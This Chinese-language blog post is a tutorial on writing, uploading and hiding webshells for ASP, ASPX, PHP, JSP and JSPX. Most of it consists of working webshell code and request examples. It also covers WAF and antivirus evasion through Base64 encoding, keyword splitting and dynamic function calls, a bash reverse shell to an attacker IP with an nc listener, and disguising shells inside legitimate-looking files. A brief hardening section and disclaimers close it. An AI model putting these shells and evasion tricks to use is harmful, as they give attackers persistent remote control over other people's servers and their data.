WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX
WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX 详解
一、前言
WebShell 是一种通过 Web 接口执行服务器命令的恶意脚本,常用于渗透测试或攻击中,以获取服务器控制权。它以简单、隐蔽和高危著称,常配合工具如蚁剑或冰蝎使用。本文详细讲解 ASP、ASPX、PHP、JSP 和 JSPX 五种常见 WebShell 的编写、植入、利用方式及绕过技巧,旨在帮助安全从业者掌握 WebShell 的原理和使用方法,同时提供防护建议。
免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!
学习目标:
- 掌握不同语言(ASP/ASPX/PHP/JSP/JSPX)WebShell 的编写与使用
- 学会配合蚁剑、冰蝎等工具提升利用效率
- 理解 WebShell 绕过检测的技巧
- 了解防御 WebShell 的最佳实践
二、WebShell 概述
1. 什么是 WebShell?
WebShell 是一种部署在 Web 服务器上的脚本文件,通过 HTTP 请求(如 GET、POST)接收用户输入的命令并在服务器执行,通常用于:
- 执行系统命令(如
whoami、net user) - 文件管理(上传、下载、修改)
- 反弹 Shell 或持久化控制
2. 危害
- 权限提升:获取服务器高权限(如 SYSTEM/root)
- 数据泄露:窃取配置文件、数据库等
- 持久控制:植入后门,长期潜伏
- 系统破坏:删除关键文件或执行恶意操作
3. 配合工具
- 蚁剑(AntSword):开源 WebShell 管理工具,支持多语言,界面友好。
- 冰蝎(Behinder):加密传输,隐蔽性强,适合高级渗透。
- 菜刀:经典工具,适合简单场景。
三、WebShell 编写与利用
以下详细介绍 ASP、ASPX、PHP、JSP 和 JSPX 的 WebShell 示例,包括语法、调用方式、回显特性及注意事项。
1. ASP WebShell
示例代码
| 编号 | 示例代码 | 说明 |
|---|---|---|
| ① | <% eval(request("2")) %> |
经典 eval 执行用户输入 |
| ② | <% execute request("3") %> |
执行传入参数命令 |
| ③ | <% execute(request("4")) %> |
等价于②,参数名不同 |
| ④ | <% executeglobal request("5") %> |
全局执行脚本 |
| ⑤ | <% executeglobal(request("6")) %> |
同④,参数名不同 |
调用方式
- 保存为
shell.asp,上传至目标服务器。 - 请求示例:
1 | |
- 参数:
3为命令参数,支持任意 ASP 代码。
特点
- 回显:无(需工具配合,如蚁剑)
- 优缺点:
- 简单易用,但
eval和execute易被 WAF 检测。 - 适合快速测试,需混淆以提高隐蔽性。
- 简单易用,但
绕过建议
- 使用 Base64 编码参数:
1
<% execute(Base64Decode(request("cmd"))) %> - 分割关键词:
1
<% ex="exec"; ex&"ute" request("cmd") %>
2. ASPX WebShell
示例代码
1 | |
调用方式
- 保存为
shell.aspx,上传至目标服务器。 - 请求示例:
1
http://target.com/shell.aspx?1=Response.Write(System.IO.Directory.GetCurrentDirectory()) - 参数:
1为 C# 代码,运行在unsafe模式。
特点
- 回显:无(需工具配合)
- 优缺点:
- 支持 C# 强大功能,但需服务器启用
unsafe模式。 - 隐蔽性较 ASP 稍高,但仍需混淆。
- 支持 C# 强大功能,但需服务器启用
绕过建议
- 使用复杂参数名:
1
<% eval(Request[HttpUtility.UrlDecode("x")], "unsafe"); %> - 结合加密传输(如 Base64 或 AES)。
3. PHP WebShell
示例代码
| 编号 | 示例代码 | 说明 |
|---|---|---|
| ① | <?php eval($_REQUEST['1']); ?> |
支持 GET/POST/Cookie 参数 |
| ② | <?php eval($_GET['2']); ?> |
指定 GET 参数 |
| ③ | <?php eval($_POST['3']); ?> |
指定 POST 参数 |
| ④ | <?php assert($_REQUEST['4']); ?> |
使用 assert 执行表达式 |
| ⑤ | <?php assert($_GET['5']); ?> |
GET 参数下的 assert |
| ⑥ | <?php assert($_POST['6']); ?> |
POST 参数下的 assert |
调用方式
- 保存为
shell.php,上传至目标服务器。 - 请求示例(使用
curl):1
curl http://target.com/shell.php -d "3=system('whoami');" - 参数:
3为 PHP 代码或命令。
特点
- 回显:有(直接输出命令结果)
- 优缺点:
- 最通用,兼容性强,适合蚁剑/冰蝎。
eval和assert易被检测,需混淆。
绕过建议
- 使用
base64_decode混淆:1
<?php eval(base64_decode($_POST['cmd'])); ?> - 动态函数调用:
1
<?php $f = 'sys'.'tem'; $f($_POST['cmd']); ?>
4. JSP WebShell
示例代码
1 | |
调用方式
- 保存为
shell.jsp,上传至目标服务器。 - 请求示例:
1
http://target.com/shell.jsp?i=whoami - 参数:
i为系统命令。
特点
- 回显:无(需配合反弹 Shell)
- 优缺点:
- 简单直接,执行系统命令。
- 无回显,需工具或反弹 Shell。
绕过建议
- 使用 Base64 编码参数:
1
<% Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(request.getParameter("i")))); %> - 反弹 Shell:
1
bash -i >& /dev/tcp/<你的IP>/4444 0>&1
5. JSPX WebShell
示例代码
1 | |
调用方式
- 保存为
shell.jspx,上传至目标服务器。 - 请求示例:
1
http://target.com/shell.jspx?i=whoami - 参数:
i为系统命令。
特点
- 回显:无(需配合反弹 Shell)
- 优缺点:
- XML 格式,兼容 JSP 环境。
- 需正确闭合标签,避免解析错误。
绕过建议
- 与 JSP 类似,使用 Base64 或加密参数。
- 确保 JSPX 格式符合 XML 标准。
6. 蚁剑专用 WebShell
- 推荐项目:JSP 专用蚁剑马(GitHub: JspForAntSword)
- 特点:
- 兼容蚁剑管理界面
- 隐蔽性强,支持部分回显
- 提供文件管理、命令执行等功能
- 使用方法:
- 下载项目中的 JSP WebShell。
- 上传至目标服务器,配置蚁剑:
- URL:
http://target.com/shell.jsp - 密码:自定义(如
cmd) - 类型:JSP
- 编码:默认或 Base64
- URL:
四、WebShell 绕过技巧
1. 混淆与加密
- Base64 编码:客户端发送 Base64 编码的命令:
1
<?php eval(base64_decode($_POST['cmd'])); ?>1
curl http://target.com/shell.php -d "cmd=c3lzdGVtKCd3aG9hbWknKTs=" - 分割关键词:
1
<?php $f = 'ev'.'al'; $f($_POST['cmd']); ?> - 自定义函数:
1
<?php function x($c) { eval($c); } x($_POST['cmd']); ?>
2. 反弹 Shell
- 在 Kali 上启动监听:
1
nc -lvnp 4444 - WebShell 执行反弹命令:
1
bash -i >& /dev/tcp/<你的IP>/4444 0>&1 - 适用于无回显场景(如 JSP/JSPX)。
3. 配合工具
- 蚁剑:
- 配置 WebShell URL 和密码,自动处理命令执行和文件管理。
- 支持加密传输(如 Base64、AES)。
- 冰蝎:
- 使用加密 WebShell(如 PHP 冰蝎马)。
- 提供高隐蔽性,绕过 WAF 和杀软。
4. 文件名伪装
- 使用非典型文件名:
info.php、config.php等。 - 嵌入正常页面:将 WebShell 代码隐藏在合法 PHP 文件中。
五、防护建议
文件上传校验
- 严格验证上传文件的类型和内容。
- 使用白名单限制文件扩展名(如只允许
.jpg、.png)。 - 对上传文件进行重命名,避免直接执行。
禁用危险函数
- 在
php.ini中禁用高危函数:1
disable_functions = eval,assert,exec,system,passthru,shell_exec,proc_open - ASP/ASPX 限制
eval和execute使用。
- 在
权限控制
- 配置 Web 服务器以最低权限运行(如非 root/SYSTEM)。
- 限制脚本对文件系统和命令的访问。
WAF 部署
- 配置 Web 应用防火墙,检测
eval、system等关键词。 - 拦截异常参数(如 Base64 编码的命令)。
- 配置 Web 应用防火墙,检测
日志监控
- 监控 Web 服务器日志,关注异常请求(如
?cmd=)。 - 定期扫描服务器,检测可疑文件。
- 监控 Web 服务器日志,关注异常请求(如
定期审计
- 检查 Web 目录,删除未知脚本文件。
- 更新系统和框架,修复已知漏洞。
六、总结表格
| 类型 | 推荐语法 | 回显 | 备注 |
|---|---|---|---|
| ASP | <% execute request("cmd") %> |
无 | 经典语法,易被查杀 |
| ASPX | eval(Request["1"], "unsafe") |
无 | 需开启 unsafe 模式 |
| PHP | eval($_REQUEST['1']) |
有 | 最实用,需权限,建议混淆 |
| JSP | Runtime.getRuntime().exec(...) |
无 | 默认无回显,配合反弹 Shell |
| JSPX | <jsp:scriptlet>exec(...)</jsp:scriptlet> |
无 | JSPX 需正确 XML 格式 |
七、总结
WebShell 是渗透测试中的利器,ASP、ASPX、PHP、JSP 和 JSPX 各有特点,PHP WebShell 因其回显和兼容性最为常用。配合蚁剑、冰蝎等工具,可实现命令执行、文件管理甚至反弹 Shell。实际利用中,需通过混淆、加密和伪装绕过 WAF 和杀软检测。开发者应加强文件上传校验、禁用危险函数、部署 WAF 和监控日志,防范 WebShell 攻击。
免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!
WebShell 快速植入与绕过:ASP/ASPX/PHP/JSP/JSPX
https://bae-ace.github.io/2025/08/04/WebShell-快速植入与绕过:ASP-ASPX-PHP-JSP-JSPX/